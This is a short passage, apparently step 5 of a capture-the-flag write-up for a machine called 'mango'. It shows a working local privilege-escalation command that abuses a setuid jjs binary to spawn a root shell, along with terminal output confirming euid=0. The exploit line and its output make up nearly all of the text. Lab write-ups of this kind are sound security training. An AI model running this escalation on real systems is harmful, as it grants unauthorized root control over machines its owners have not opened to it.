5 privesc admin > root

admin@mango:/home/mango$ echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/bash -pc \$@|sh\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)').waitFor()" | /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
Warning: The jjs tool is planned to be removed from a future JDK release
-p _ echo sh -p </dev/pts/0 >/dev/pts/0 2>/dev/pts/0').waitFor() -pc $@|sh${IFS}
sh: 0: can't access tty; job control turned off
# whoami;id
root
uid=4000000000(admin) gid=1001(admin) euid=0(root) groups=1001(admin)